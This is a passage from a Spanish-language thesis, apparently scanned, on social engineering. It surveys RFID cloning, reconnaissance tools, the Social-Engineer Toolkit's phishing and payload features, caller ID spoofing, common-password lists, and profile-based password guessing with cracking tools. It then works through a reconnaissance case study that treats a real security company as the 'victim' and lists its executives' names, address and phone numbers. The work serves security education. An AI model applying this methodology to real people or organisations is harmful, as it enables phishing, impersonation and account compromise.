claramente distinguibles: El TAG o etiqueta RFID, el lector
para el TAG, y la plataforma o base de datos para

almacenar la informacion.

Los TAGs poseen un chip que almacenan un identificador.
El lector de RFID es el que envia series de ondas de
radiofrecuencia dirigidas al tag, el tag posee una antena al
cual le llega la senal. Esta senal activa el chip, y esto

permite poder enviar el cédigo. [REF39]

Cuando el lector recibe el cédigo del TAG, este lo envia a
una base de datos, donde esta almacenada con antelacion

la informacion.

Figura 2-13. Funcionamiento de RFID [REF39].
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2.3.1.4. Categoria del RFID

Existen 3 categorias de etiquetas RFID.

Etiquetas de "solo lectura”, que no pueden
modificarse.

Etiquetas de "una sola escritura que permite muchas
lecturas”.

Etiquetas de "lectura, regrabables”.

Sin embargo, existen dos familias principales de etiquetas

RFID:

Las etiquetas activas que estan conectadas a
fuentes de energia intermma (pila, bateria, etc.). Las
etiquetas activas mejoraron la portabilidad, pero a un

alto costo y con una duracién restringida.

Las etiquetas pasivas utilizan energia que se crea a
una distancia corta a través de la senal de radio del
trasmisor. Estas etiquetas son mas economicas y, por
lo general, mas pequenas y tienen una duracion
practicamente ilimitada. Su aspecto negativo es que
requieren una Iimportante cantidad de energia

especifica de parte del lector para funcionar. [REF39].
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2.3.2. Numero de seria de los TAGS de radio frecuencia.

Para las etiquetas de RFID, que no son regrabables poseen un
numero de serie unico, asignado por el fabricante, de tal forma
que debido a la modulacion del Chip RFID, es aconsejable
comprar el lector del mismo fabricante, cada fabricante maneja
sus numeros de serie ya sea numero o alfanumerico, limitado a un

numero corto de caracteres, por lo general diez. [REF39].

2.3.3. Clonaciéon de numero de dispositivo de radio frecuencia.

Con la descripcion antes mencionada una vulnerabilidad clara es
el poder clonar las tarjetas RFID para y asi poder tener acceso a
las areas restringidas. Esto es viable no solo por las herramientas
que se pueden encontrar en el mercado, sino que para poder
realizar la clonacion es necesario estar cerca de la victima, ya sea
que se conozco O No, pero es necesario poder substraer la tarjeta

RFID.

Figura 2-14. Equipo de clonacion de tarjetas RFID
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A veces el robo de nuestros articulos personales, como billetera o
cartera, nos es mas frecuente recuperar la informacién, cancelar
lar tarjetas de crédito y hasta la cerradura de las casa, pero no
nos enfocamos en las tarjetas RFID que también fueron robadas.

[REF40].

Diferentes técnicas y herramientas para obtener informacion

Dentro de esta seccion se pretende ahondar en los pasos para poder
obtener informacién enfocado a la empresa, es importante tener claro

que para poder seguir estos pasos hay que tener un objetivo definido.

Se va ahondar en varias herramientas desde la recoleccion de la
informacion, para el ingeniero social, esta etapa es muy importante y
tiene una gran incidencia en el éxito de poder llegar al objetivo del

mismo.

2.4.1. Recaudacion de informacioén - footprinting

Nos enfocaremos en la primera parta parte para la recoleccion e
la informacion, basados en el método para realizar pruebas de

penetracion de seguridad. [REF32].
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Escalamiento
Obtencion  de Privilegios Trofeo

de { Evidencia
:: Borrado de
Rastros

Figura 2-15. Metodologia basada en prueba de penetracion [REF31]

Footprinting (Huella) se define como el proceso de creacion de un

modelo o mapa de la red y los sistemas de una organizacion.

La recopilacion de informacion es también conocida como
footprinting de una organizacion. Comienza determinando el
sistema de destino, aplicacion o ubicacion fisica del objetivo,
informacion relevante técnica de la empresa o usuario objetivo.

[REF41].

Una vez conocida esta informacién, la informacion especifica
acerca de la organizacion con metodos no intrusivos. Por ejemplo,
la pagina web propia de la organizacion puede proporcionar un
directorio personal o una lista de biografias de los empleados, que
puede resultar util si el atacante tiene que usar un ataque de

ingenieria social para alcanzar el objetivo.
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2.4.1.1. Herramientas de Huella - footprinting

Una herramienta fundamental son las busquedas online,
utiizando Google u otro buscador. Es importante conocer
en profundidad las caracteristicas avanzadas de busqueda

(site:intitle:, allinurl:, etc.).

Un atacante suele utilizar el 90% de su tiempo en las
primeras etapas por esto es la importancia de la

recoleccion de la informacion

Algunas fuentes comunes de informacion incluyen el uso
de las siguientes herramientas conociendo el dominio de la

empresa. [REF31]

2.4.1.2. Whois

Whois es una herramienta y un protocolo que identifica
informacién de registracion de un dominio. Esta definido en

el RFC 39127,

El whois evoluciond desde los primeros Unix hasta los
actuales. Las consultas se han realizado tradicionalmente
usando una interffaz de linea de comandos, pero

actualmente existen multitud de paginas web que permiten
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realizar estas consultas, aunque siguen dependiendo

internamente del protocolo original

2.4.1.3. Resolucion de nombres de dominio (DNS)

La mayor parte de la informacion puede obtenerse
libremente y de manera legall Es muy importante
comprender el sistema de resolucion de nombres de
dominio (DNS) para lograr una profunda comprension de

esta etapa y del funcionamiento de Internet.

El realizar la busqueda de Informacion en Internet para
obtener la direccion de correo electronico o el nombre de
una persona podemos encontrar en las listas de correo,
foros, etc. informacion sobre la empresa donde trabaja. Es
muy importante considerar la informacion que se puede

obtener de las redes sociales.

2.4.1.4. Herramienta ARCHIVE.ORG

Esta es una herramienta muy util y es una iniciativa que
guarda la mayor parte de los sitios web de Internet y

alberga obras culturales de dominio publico o con licencias

" RFC 3912 “Especificaciones del protocolo WHOIS".
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abiertas. Se dedica desde 1996 a recoger
sistematicamente copias de los sitios web de todo el
mundo, permitiendo estudiar su evolucion. La herramienta
que permite consultar sitios histéricos se denomina:
Wayback Machine. [REF33]

Si la victima es una empresa y tiene una pagina web
institucional se puede obtener informacién mediante el
historia de la pagina, esta herramienta se la puede obtener

del link http //www archive org.®

2.4.1.5. Transferencia de zona DNS

Una transferencia de zona es el término utilizado para
referirse al proceso que se copia el contenido de un archivo
de zona DNS de un servidor DNS principal en un servidor

DNS secundario.

Se producira una transferencia de zona durante cualquiera

de las siguientes situaciones:

e Al iniciar el servicio DNS en el servidor DNS

secundario.

The Internet Archive, organizacion sin fines de lucro, es la construccion de una biblioteca

digital de sitios de Internet y otros artefactos culturales en formato digital.
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e Cuando expira el tiempo de actualizacion.

e (Cuando los cambios se guardan en el archivo de la

zona principal y hay una lista de notificacion.

Las transferencias de zona siempre se inician por el
servidor DNS secundario. El servidor DNS principal
simplemente responde a la solicitud de una transferencia

de zona. [REF33].

La transferencia de zona es necesaria y no pueden ser
deshabilitadas completamente. Pero solo deben ser
permitidas entre servidores DNS y clientes que necesitan

de estas.

2.4.1.5.1 Identificacion de los Tipos de Registros

Los registros de relevancia que se pueden

encontrar son:

+ A (address): Mapea un nombre de host a una
direccion IP

e SOA (Start of Authority): Define el DNS
responsable de la informacion del dominio.

« CNAME (canonical name): Provee nombres

adicionales o alias para dicho registro.



99

e« MX (mail exchange): Identifica el mailserver
del dominio.

¢ SRV (service): Identifica servicios que ofrece
el dominio.

e PTR (pointer): Mapea direcciones IP a

nombres de host’

2.4.1.6. Arana web

Una arana web (o arana de la web) es un programa que
inspecciona las paginas del World Wide Web de forma
metodica y automatizada. Uno de los usos mas frecuentes
que se les da consiste en crear una copia de todas las
paginas web visitadas para su procesado posterior por un
motor de busqueda que indexa las paginas proporcionando

un sistema de busquedas rapido. [REF31].

2.4.2. Herramientas basadas en computadoras

En la seccion anterior se describieron herramientas basadas en
informacion disponible en paginas web. Se va ahondar en

herramientas software que se instalan en un computador que

’ Esta informacion la podemos obtener dentro del link de: hilp www dnsstuff com . DNSstuff
ofrece herramientas DNS, herramientas de red, herramientas de correo electronico, informacién

de DNS y recopilacion de informacion 1P,



100

ofrecen informacion mas completa, y que sirven como
complemento a la informacion obtenida con las herramientas

mencionadas anteriormente.

2.4.2.1. MALTEGO y FOCA

Maltego es una de las herramientas mas completas y mejor
implementadas que existen actualmente en el mercado
enfocada sobre todo en la recoleccion de informacion vy
mineria de datos, su valor anadido con respecto a las
herramientas existentes en el mercado actualmente: La
representacion de la informaciéon en una forma simbodlica,
es decir, la informacion es presentada en distintos formatos
de forma visual y ensefan las distintas relaciones
encontradas entre la informacion presentada, por otro lado
Maltego permite enumerar informacion relacionada con
elementos de red y dominios de una forma bastante
comprensible, asi como también permite enumerar
informacion relacionada con personas, datos tales como
direcciones de email, sitios web asociados, numeros de
teléfono, grupos sociales, empresas asociadas, etc.

[REF42].
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Figura 2-16. Maltego interfaz.

§ Sroperies

Otra herramienta que es sugerida revisar para la obtencion de
informacion es la herramienta de la empresa informatica64'® llamada

FOCA.
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2.4.2.2. Set de Ingenieria Social (SET)

La conocida herramienta SET (The Social-Engineer
Toolkit), consiste es un conunto de herramientas
disenadas para realizar ataques de Ingenieria Social en
procesos de auditorias de seguridad informatica, como
muchas herramientas actuales esta programado en Python
y fue disenada por David Kennedy (RelL1K). ([REF43],

2010)

The Social-Eagineer Toolkit is a product of TrustedSec

visit: hrtps://www com

Figura 2-18. SET. Interfaz principal

Dentro del menu principal se pueden escoger varias

opciones, y como es denotar hay una seccion

/“\

especializada para ataques de ingenieria social.
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Figura 2-19. SET. Menu principal.

Figura 2-20. SET. Sub - Menu de Ataque de Ingenieria Social.

Dentro dl submenu se encuentra una seria de opciones con
un proposito especifico, en cual involucra el poder atacar a
la victima. Estas son las opciones mas relevantes a tener

en cuenta para el ataque

2.4.2.2.1. Sistema de Phishing

SET viene con un completo sistema de creacion de
ataques phishing, el cual por medio de pasos
sencillos, permite generar sitios falsos, con el

objetivo de a las victimas, este sitio puede ser
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enviado por medio de correo a traves de un link.

[REF43]

2.4.2.2.2. Vector de Ataque Web

SET permite realizar ataques de forma automaticos
a las victimas que ingresen a una direccion que se
pueda especificar o inducir que se acceda. La
plataforma SET emula un servidor y permite realizar
ataques que se indiquen, como por ejemplo: applets
de java, ataques variados o simultanéanos, entre
otros, el producto del ataque es una ventana de

comando del equipo victima. [REF43].

2.4.2.2.3. Creacion de Medios Infectados

SET permite crear archivos con cédigo malicioso,
que se pueden guardar dentro de un medio como:
memoria USB, DVD, disco duro externo. El archivo
se activa al introducirse dentro de la maquina de la
victima, aprovechando de los autoejecutables de

sistemas operativos como Windows. [REF43].

2.4.2.2.4. Generar ejecutable con Payload

SET permite generar un ejecutable de forma

automatica, con el objetivo de poder realizar una
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conexidon remota, desde la maquina de la victima a la
del atacante. Este tipo de ataques son muy
populares ya que permite configurar una variedad de
ventanas de comandos, como por ejemplo:
meterpreter, shells remotas shells ciegas de

Windows. [REF43].

2.4.2.2.5. Ataques por Correo

En SET se ha dedicado una completa seccion de
herramientas, para realizar ataques de ingenieria
social basados en el envio de correos electronicos,
permitiendo enviar correos falsos a varias victimas.

[REF43]

2.4.2.2.6. Falsificando Mensajes de texto

Una opcion muy interesante es el poder enviar
mensajes de texto falsos, para suplantar a personas,
haciendo creer que el mensaje de texto es real.

[REF43).

2.4.3. Basado en teléfono

2.4.3.1. Caller ID Spoofing A.

Caller ID o Identificador de llamadas se ha convertido en

una tecnologia comun en los negocios y el hogar. Sobre
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todo con el avance de los teléfonos moviles reemplazar
muchas de las lineas telefonicas que utilizan las personas.

[REF44]

Identificador de llamadas es parte de nuestra vida
cotidiana. Siendo conscientes de este hecho y como usar
esto para su ventaja es una necesidad para un ingeniero

social exitosa.

El principio basico detras de llamada suplantacion de
identidad es cambiar la informacién que se muestra en la

pantalla del identificador de llamadas.

Estos pueden ser usados en una situacion de ingenieria

social para mostrar que hay una llamada entrante desde:

* Una oficina remota

¢ Dentro de la oficina

e Una organizacion asociada

¢ Una compania de servicios / servicios (teléfono,
agua, Internet, exterminador, etc.)

e Un superior

e Una compania de entrega
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2.4.3.1.1 SpoofCard

Uno de los métodos mas populares de la persona
que llama suplantacion de identidad es mediante el

uso de un SpoofCard.

Con la compra de una de estas tarjetas que se
puede hacer pasar por el numero que se desea,
estas tarjetas las comercializan en la red de internet

a costos muy bajos. [REF44].

Figura 2-21. SpoofCard [REF44).

2.4.3.1.2 Asterisk

Otra forma de poder hacer Spoofing, es mediante
una computadora y un servicio de VoIP, utilizando la

herramienta Asterisk'' que es una aplicacién que

" Asterisk es un programa de software libre (bajo licencia GPL) que proporciona

funcionalidades de una central telefonica (PBX).
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permite convertir tu computadora a una central
telefonica, y con ello se puede configurar para

realizar una spoofing.

2.4.3.1.3 SpoofApp

En el ambito de los teléfonos modviles como el
iPhone, Android o Blackberry, se puede buscar

aplicativos gratis o de pago. [REF44].

2.5: Técnicas para obtener Claves y otra informacion.

2.5.1. Software Malicioso

Son programas disefados para realizar tareas o rutinas sin la
aprobacion del usuario, con el fin de danar u obtener informacion

de sistemas computacionales.

El término malware abarca muchos términos en la informatica,
tales como: virus informaticos, troyanos, gusanos, troyanos, y

otros

Malware no se lo debe relacionar con error de coédigo de
programas inestables o defectuosos. Los fines pueden ser de los

Malware estan orientados a:
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¢ Robo de Informacion de los usuarios
e« Enganar a los usuarios

e Danar al equipo residente

e Consumo de Recursos

e Instalacion y Actualizacion de Malware

Muchos de estos se instalan en la computadora de la victima
después de haber enganado al usuario, con técnicas de Ingenieria
Social, como por ejemplo, cuando nos aparecen l0s pop-ups, O
ventanitas con mensajes como “Eres el Usuario 999,999, cuando se

descarga un archivo e incluso cuando nos llega un correo SPAM.

2.5.2. Claves débiles

Las claves debiles son, aquellas que estan basadas en palabras
bien conocidas, o basadas en datos personales del usuario. Y de
esta forma el atacante puede adivinar la clave debil, considerando
que podria poner la victima como contrasena.

Si la clave es “Password1”, esta no deberia ser dificil de adivinarla

o cualquier de sus combinaciones “Password123”
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Hay que considerar que “Password1”, es una clave que satisface
la complejidad de uno de los programas mas utilizados de gestion

de identidad Active Directory, de Microsoft.

Dentro de los resultados descubiertos por las empresas de
seguridad como Verizon, se encontré que los atacantes suelen
estar habitando las redes de las victimas por meses 0 anos antes

de poder ser detectados. [REF45].

El Top 25 de contraseras del 2013 mas usadas es el siguiente:

Tabla 2-1. Claves mas comunes.

Claves mas comunes en el mundo

1. password
2. 123456
3. 12345678
4. abc123
5. qwerty
6. monkey
7. letmein
8. dragon
9. 111111

10. baseball
11. iloveyou
12. trustnol

13. 1234567
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14. sunshine
15. master
16. 123123

17. welcome

18. shadow
19. ashley
20. football
21. jesus

22. michael
23. ninja

24. mustang
25. passwordl

Estas contrasenas tienen mayor eficiencia de ser adivinadas en
Norteamérica. Mientras que las contrasefias a nivel de

latinoamericana se muestra el siguiente listado. [REF46]

Tabla 2-2. Claves mas comunes en espafol

Claves mas comunes en Espafol

123456 |

12345

123456789

12345678

1234567




"numero de cedula

111111
Contrasena
Tequiero
000000
estrella
iloveyou
654321
bonita
mariposa
america

"nombres propios”

2.5.3. Adivinando las claves.

112

Adivinar es una forma ineficiente de encontrar una contrasena

hasta que se considera esto, la mayoria de las contraseras

elegidas por los usuarios se dividen en un grupo muy estrecho de

la palabra, por lo que adivinar mucho mas facil para los hackers

seria. Las contrasenas mas utilizadas son el nombre de una

persona o el nombre de su esposa, hijjos o mascotas. Su

cumpleanos, numero de placa, nombre de la calle o el nombre de

una celebridad favorita también se utilizan. Mas preocupante es el
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numero de personas que dejan su contrasefia en blanco o usar el

valor predeterminado de fabrica.

Los atacantes normalmente generan una lista de posibles

contrasenas para intentar basado en la informacion personal:

e El| cumpleanos de la persona.
e Las contrasenas de otras cuentas, si sabes o
puedes averiguar.
¢ El nombre de la mascota de la persona, su novio o
novia o miembros de la familia.
e Su bebida favorita, comida, equipo deportivo, frase
de una pelicula, grupo musical, etc.
e El pasword podria tener un numero al final:
o El nombre de la calle de |la persona
El numero de la suerte
Algo siempre, como 1 6 123
o Ano de nacimiento

o Mes de Nacimiento o dia

e Muy a menudo se usan fechas de nacimiento, como
12/18/92 ¢ solo 121892

o El password puede ser sensible a las mayusculas, y
la persona podria haber usado una combinacion rara

de mayusculas y minusculas.
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e Si se conoce bien a la persona en sus intereses y
hobbies, en esos detalles podria estar oculta su
contrasena.

e Si se sabe cuantas letras tiene la contrasena, esto

podria ahorrar mucho tiempo.

Esta informacion es utl para poder generar una lista de
contrasenas utiles y el grado de éxito se base en la poca

complejidad.

Otra forma de ocultar las contrasefias es utlizando frases
sencillas como el nombre, apellido, equipo de futbol favorito, y
traducirlo al lenguaje leek de esta forma es mas sencillo

recordarlo.

2.5.3.1 Lenguaje LEEK

Leet (1337) es un lenguaje escrito o cifrado utilizado en
correos electronicos, mensajes de texto y otros medios
electronicos de comunicacion. La raiz del término "leet" es
la palabra elite (traducida como 31337) y 1337 fue
inicialmente como un lenguaje exclusorio, un modo de
codificar texto de modo que los mensajes solo puedan ser
entendidos por los iniciados. La caracteristica principal de

1337 es la substitucion de simbolos y numeros por letras
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(por ejemplo, in el término "1337", 1=L, 3=E y 7=T), pero el
lenguaje ha sido desarrollado intencionalmente para incluir
faltas de ortografia, cambios en la pronunciacion de las
palabras y aun nuevas palabras. Si quieres estar
familiarizado con el 1337, o solamente sientes curiosidad,
este articulo te explicara los conceptos basicos de como
leer y escribir en este siempre cambiante lenguaje.

[REF47).

8U3N D14 L3C70R. 51 PUDO L33R H4574 4QU1.
LO F3L1C174M05: 4C484 D3 4PR0O84R 3L 3X4M3N
QU3 LO H481L17A P4R4 EMPL34R Y 7R4DUC1TR
3L UL71M151M0 6R170 D3 C3RV4N735 3N
1N73RN3T: 3L L3N6U4J3 H4CK3R.

2.5.4. Software de fuerza bruta

En criptografia la técnica ataque de fuerza bruta o la busqueda de
la clave por método exhaustivo, es |la forma de poder obtener una
contrasena, mediante la prueba de diferentes combinaciones

posibles hasta lograr encontrar aquella que de acceso.

También se lo puede definir como la técnica o procedimiento, que
partiendo del conocimiento del algoritmo de cifrado utilizado, y

teniendo un texto cifrado, se puede realizar el descifrado de forma
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exitosa. La fuerza bruta suele combinarse con un ataque de

diccionario. [REF33]

2.5.4.1. Ataque de Diccionario

Una forma de poder obtener la clave deseada, es poder
contar con un archivo o diccionario de palabras, en cual
esta compuesto por combinaciones de caracteres. El
ataque se realiza probando cada una de las palabras o
combinacidon de caracteres que contenga el diccionario, el
ataque dura hasta que se encuentre la palabra o se haya

probado todas las palabras. [REF32].

Este ataque suele dar resultado, cuando la clave es debil y
facil de encontrar en un diccionario de palabras, de lo

contrario no es muy recomendable esta técnica.

Las herramientas mas recomendadas por la pagina
especializada en seguridad SecToolsOrg son las

siguientes:

2.5.4.1.1 Aircrack

Aircrack es una suite de herramientas para

802.11a/b/g WEP y WPA cracking. Implementa los
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mejores algoritmos de craqueo conocidos para
recuperar las llaves inalambricas una vez que tenga
suficientes paquetes cifrados. Licencia: Gratis,

Sistemas Operativos: Linux, Windows y MAC.

2.5.4.1.2 Cain y Abel

Esta es una herramienta solo para Windows de
recuperacion de contrasefa maneja una gran
variedad de tareas. Se puede recuperar contrasenas
por inhalacion de la red, contrasefas cifradas
utilizando ataques de diccionario, fuerza bruta y el
criptoanalisis, la grabacion de conversaciones VolP,
decodificacion contrasefas, revelando cuadros de
contrasena, el descubrimiento de contrasefnas en
caché y el analisis de protocolos de enrutamiento.

Licencia:Gratis, Sistemas Operativos:Windows.

2.5.4.1.3 John the Ripper

Es uno de los programas mas conocidos de fuerza
bruta para las contrasenas, es potente y rapido para

UNIX / Linux y Mac OS X.

Su objetivo principal es detectar passwords de Unix

debiles, aunque puede desencriptar hashes para
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muchas otras plataformas. Licencia: Gratis vy
pagada, Sistemas Operativos: Linux, Windows vy

MAC.

2.5.4.1.4 THC Hydra

Es una herramienta, orientada a romper por medio

de fuerza bruta un servicio de autenticacion remota.

Puede realizar ataques de diccionario rapidas contra
mas de 30 protocolos, incluyendo los mas comunes
telnet, ftp, http, https, smb, varias bases de datos, y
mucho mas. Licencia: Gratis, Sistemas Operativos:

Linux, Windows y MAC.

2.5.4.1.5 Ophcrack

Ophcrack es un programa basado en rainbow-tables,
para las contrasenas de Windows (aunque la propia
herramienta se ejecuta en Linux, Windows y Mac).
Licencia: Gratis y pagada, Sistemas Operativos:

Linux, Windows y MAC.

Ci% '
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2.5.4.1.6 Medusa

Medusa esta es una plataforma modular, orientada a
logins basado en fuerza bruta, de forma masiva, en
paralelo y rapido. Licencia: Gratis, Sistemas

Operativos: Linux, y MAC.

2.5.4.1.7 LOphtCrack

LOphtCrack se usa para descifrar contrasenas de
Windows basado en los hashes que se puedan
obtener (dado acceso adecuado) de autdonomos
estaciones de trabajo Windows, servidores de red,
controladores de dominio primarios, o0 Active
Directory. Licencia: Pagada, Sistemas Operativos:

Windows.

2.5.4.1.8 Wfuzz

Wfuzz es una herramienta para aplicaciones Web,
que puede ser utilizado para la busqueda de
recursos no vinculados (directorios, servlets, scripts,
etc.), fuerza bruta GET y POST parametros para
diferentes tipos de inyecciones (SQL, XSS, LDAP,
etc), fuerza bruta de parametros de formulario
(usuario / contrasena), fuzzing. Licencia: Gratis,

Sistemas Operativos: Windows
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2.6. Contrasenas Comunes basadas en perfiles.

2.6.1. Perfil de contrasenas Comunes de usuario (CUPP)

Hay una gran cantidad de tecnicas de ingenieria social que se
puede tratar con el fin de recuperar la informacion personal de
usuarios que pueden ayudar a identificar sus passwords. Los
pasos de las instalacion se la puede ver en la seccion C.6 del

apéndice C.

No todas las personas estan abiertas para el debate por lo que
habra veces en las que es posible que no se puede recuperar la
informaciéon que se desea, lo unico que se puede hacer es tener
una buena lista de contrasefnas en relacion con los intereses de

este usuario. [REF48].

El objetivo del software basado en el perfil del usuario es generar
contrasenas comunes basadas en la informacion basica del
usuario, por ejemplo:

e Nombre

e Cumplearnos

e Apodo carifoso

e Empresa

e |ntereses
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e Aficiones

e (Gustos

Esta informacion se puede encontrar en los perfiles sociales de

las victimas, como Facebook, Twitter, Linkedin, etc.

Figura 2-22. CUPP - Interfaz principal
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Cuando tenemos la mayor cantidad de informacion posible de los
intereses, los nombres, apodos, aficiones, etc. de nuestra victima
es el momento de utilizar el cupp con el fin de completar la
informacion que tenemos para la creacion de la lista de

contrasenas.

Figura 2-23. CUPP - Parametros para creacion de lista de palabras

Con excepcion de la informacion que se puede elegir también si la
lista incluira palabras o numeros al azar al final de las palabras,

caracteres especiales y palabras clave.
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Figura 2-24. CUPP - Creacion de lista de palabras

Ahora el CUPP tiene generar la lista de contrasefnas y podemos
utilizarlo con el fin de ver si algun usuario en la lista es valido.
Esta herramienta es muy valida para tratar de obtener una clave

el cual esta basado en el perfil del usuario.

2.6.2. Herramienta basada en el perfil: ;Quién es su papa?

En el actual entorno de TI de seguridad, los archivos y servicios a
menudo estan protegidos por contrasefna. En ciertas situaciones,
es necesario obtener acceso a los archivos y / o datos, incluso

cuando estan protegidos, y la contrasefna es desconocida.

La herramienta basada en programacion ;Quién es tu papa?

nacio de esas dos situaciones:
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e Una prueba de penetracion se debe realizar, y la lista de
palabras por defecto utilizada, no contiene una contrasefa

valida.

e Durante una investigacion criminal forense de un archivo
protegido por contrasefna se debe abrir sin saber la

contrasena.

La idea general es personalizar un perfil de los datos disponibles
acerca de un "objetivo" persona o sistema y generar una lista de
palabras de posibles contrasenas / frases de acceso de la
informacion disponible. En lugar de usar 'cadenas' para extraer
todos los caracteres imprimibles de todo tipo de archivos, y

eliminar la mayor cantidad de falsos positivos como sea posible.

El objetivo de este programa es excluir los datos de la mayor
cantidad de contrasefas "inservibles" como sea posible para

obtener una lista eficaz de posibles contrasenas / frases.
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Figura 2-25. WYD - Interfaz principal

El objetivo de este programa es tener un nivel mas alto de

personalizacion para poder obtener una lista de claves
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CAPITULO 3

Desarrollo del esquema Ingenieria Social

Una vez revisado un poco de la historia de los ingenieros sociales, y de
sus metodos y herramientas mas usados. Se puede tener una idea de
que hay variedades de opciones para poder realizar ataques a victimas
dentro de una empresa. Esta es una de las razones principales por la
cuales, el poder tener un esquema basico, que permita evaluar el estado
de seguridad a nivel de los usuarios, suele ser de gran ayuda y apoyo

para los encargados de seguridad.

En este capitulo, se propone un esquema basico, basado en
metodologias ya conocidas y ampliamente probadas, dentro del ambito
de seguridad informatica. Este esquema se pretende poder basar su s
pruebas en escenarios practicos, para poder realizar una inspeccion de
como la empresa puede estar sujeta a vulnerabilidades basadas en los
usuarios. También es necesario acotar que el esquema es un ensayo
que permita poder dar la pauta a mas estudios y desarrollos dentro del

ambito de los ingenieros sociales.

Los métodos de ingenieria social actualmente son limitados, muchas
veces a la creatividad de la persona para ejecutarlos. La mayor parte de
ingenieria social se realiza a traves de ataques de correo electronico,

mensaje de texto y via teléfono. En otras ocasiones, las tacticas pueden
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incluir el caminar por la puerta principal detras de alguien que posee una
tarjeta de identificacion de acceso valida, o dejar caer las unidades USB
portatiles en el estacionamiento o lugares publicos, a la espera de un
empleado desprevenido para conectarlos a su equipo de trabajo.
Cualquiera sea los pasos de ingenieria social adoptado, las empresas y
las organizaciones no estan preparadas para evidenciarlas o de
contrarrestar eficazmente estos intentos a través de su fuerza de trabajo.
Llamar la atencidon y el compromiso a los empleados puede ser dificil, sin
demostrar lo facil a los empleados pueden ser explotados. El objetivo es
poder tener una cultura de amenaza de ingenieria social, evidenciando

los vulnerables que son las empresas. [REF49].

Uno de los esquemas mas conocidos, es la metodologia que se usa
para analisis de seguridad, dentro de un testeo de penetracion para
empresa. La podemos encontrar dentro de varias referencias que hacen
mencion del esquema previa a la obtencion de la certificacion de Hackeo

Etico en sus siglas en ingles CEH."?

CEH (Certified Ethical Hacker) es la certificacion oficial de hacking ético desde una

perspectiva independiente de fabricantes.



128

Figura 3-1. Esquema para Hackeo Etico, (CEH) [REF49].

Este esquema es bien completo y exhausto, que busca demostrar y
evidenciar el mayor grado de vulnerabilidades dentro de una empresa,

cada etapa busca alimentar con mayor informacion a la etapa anterior.

Considerando el objetivo de este estudio, y basandonos en el modelo de
CEH antes muy brevemente mencionado se propone un esqguema,
basado en la experiencia de la empresa OPEN-SEC'® como una guia, a

las personas que desean realizar prueba de ingenieria social.

" Open-Sec es una empresa focalizada en realizar evaluaciones de seguridad que son

requeridas por todo tipo de organizacion, cualquiera sea su alcance.
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Figura 3-1. Esquema basico propuesto de Ingenieria social

Este esquema busca simplificar y dar pautas mas claras de como

abordar los temas de ingenieria social, basado en escenarios.

El mismo sera explicado, paso a paso de forma practica, enfocado a

una empresa de tecnologia de venta de equipos GPS muy reconocida

14

en el mercado CARSEG S.A. (HUNTER). www hunter com ec

Paso 1: Investigacion de empresa o victima

El paso de investigacion se busca obtener informacion relevante de la
empresa para poder entablar una relacion con el personal que trabaja en

la misma, la busqueda debe recolectar la mayor informacion publica.

" HUNTER empresa dedicada a la recuperacion de vehiculos y mercaderia robada.
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Figura 3-2. Esquema para la investigacion

Para poder obtener la informacidon necesario de una empresa, es
necesario basarse en un esquema que nos permita avanzar de forma
ordenada y saber lo que requiere en cada etapa. Un marco sencillo de
para utilizar en para la investigacion de los procesos de la empresa es el

siguiente:

Reconocmiento Virtual Fisico

Figura 3-3. Esquema para la investigacion



131

3.1.1 Reconocimiento:

Existen varios métodos relacionados al reconocimiento en el
marco de la ingenieria social, sobre como obtener la informacion

puede ser obtenida:

3.1.1.1. Virtual:

Este método consiste en obtener informacion desde medios
digitales, acceso a paginas webs publicas, de redes

sociales, de entidades del estado. Etc.

3.1.1.2. Fisico:

Este método consiste en visitar las instalaciones, ya sea
desde una vision periférica, o hacerse pasar por algun

cliente que desea conocer mas de los productos.

3.1.2. Recoleccion de informacion de la victima.

En esta etapa se busca tener informacion mas concreta y
ordenada en base a un analisis muy general antes realizado, el
objetivo es después de haber realizado el reconocimiento, se
puede realizar una base de los datos relevantes. Una vez que se
tiene informacion basica de la empresa procedemos a buscar
informacion mas especifica que nos pueda ayudar a realizar un

ataque de ingenieria social.
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Continuando con el analisis de la empresa se busca mayor
informacion desde el sitio web de la victima seleccionada, ya que
esta informacion esta disponible para el publico, es una buena

forma de conocer las posibles vulnerabilidades.

mrenss 0985454544 D

Zona Chentes

ESTAMCS CONSTRUYENDO

SUSCRIBA SE

@38

Figura 3-4. Pagina web victima seleccionada.

De la figura 3-4, se puede resaltar que los derechos reservados
son de “CARSEG 2011”". Esto nos da una pauta cual podria ser su

razon social.
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Figura 3-5. Términos de uso de la victima

Si vemos los términos de de uso en la figura 3-5, nos confirma
esta informacion. Luego se realiza una busqueda basado en su
razon social, si buscamos en su razon social, podemos encontrar

qgue su nombre es: CARRO SEGURO CARSEG S A

Buscamos en GOOGLE el nombre de los directivos para tener

una pista de las personas de importancia:
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KLU \‘_tt. AECIVOS CAr'o SEgU0 CArveq ' e

CARRQ JEGURQ CARIEG &

Figura 3-6. Busqueda en google de la victima

Como vemos obtenemos informacion interesante en la primera
busqueda. Damos en el tercer link de la busqueda de google para

ver que nos muestra.

Ci
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Figura 3-7. Resumen de emision de obligaciones de victima

En la figura 3-7, nos muestra un re sumen de emisiones de

obligaciones, esta informacion es mucha relevancia.
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Es buena practica el usar herramientas como google para obtener
informacion de empresas que se desean conocer, por o general
es muy habitual poder encontrar Interesante y relevante

informacion. [REF50].

Informacion basica

Informacion de contacto

<543 6011450

Figura 3-8. Informacidn obtenida de facebook de |a victima

Se obtiene un correo valido, para solicitar informacion basica.
Buscando en facebook, obtenemos un correo y un numero

adicional para comunicarse. Luego de la informacion obtenida del
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facebook, encontramos otro numero y la division de sus

productos, que el cual se utilizara para seleccionar una victima.

3.1.3 Informacion obtenida de la seleccion:

De la informacion recolectada se puede realizar una pequena

tabla para poder ordenarla y tener una base para continuar.

Tabla 3-1. Informacidn recolectada de la victima.

Informacion relevante Detalle
- | —— o 1
Razén social: CARRO SEGURO CARSEG S.A. }
Contactos: _ | Alex Ripalda Burgos — Presidente |

Guido Jalil Perna — Vicepresidente Ejecutivo

' Pagina web: www.hunter.com.ec

' Direccion de la empresa: | Cdla, Vernaza Norte Mz 21, Solar 2,6, 7y 8

Teléfonos (5934) 2291065 — 2205755 — 2290883 - 6-
| 011450
P e _}._ i - - i
Dominio: Carsegsa.com ‘

' Productos: ' | Divisiones: Rastreo, Monitoreo, Carga, |

Asistencias, Accesorios.

Se puede resaltar como en un breve analisis, de la empresa la
cual incluso puede ser obtenida de esquemas anteriores se puede

obtener una base con datos relevantes para un ingeniero social.
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3.2. Paso 2: Seleccionar una Victima

En este paso se busca poder determinar un canal de comunicacion,
enfocado a una victima por el cual podamos obtener informacion mas

detallada. Este canal debe ser directo con la persona que se encuentre

dentro de la empresa.

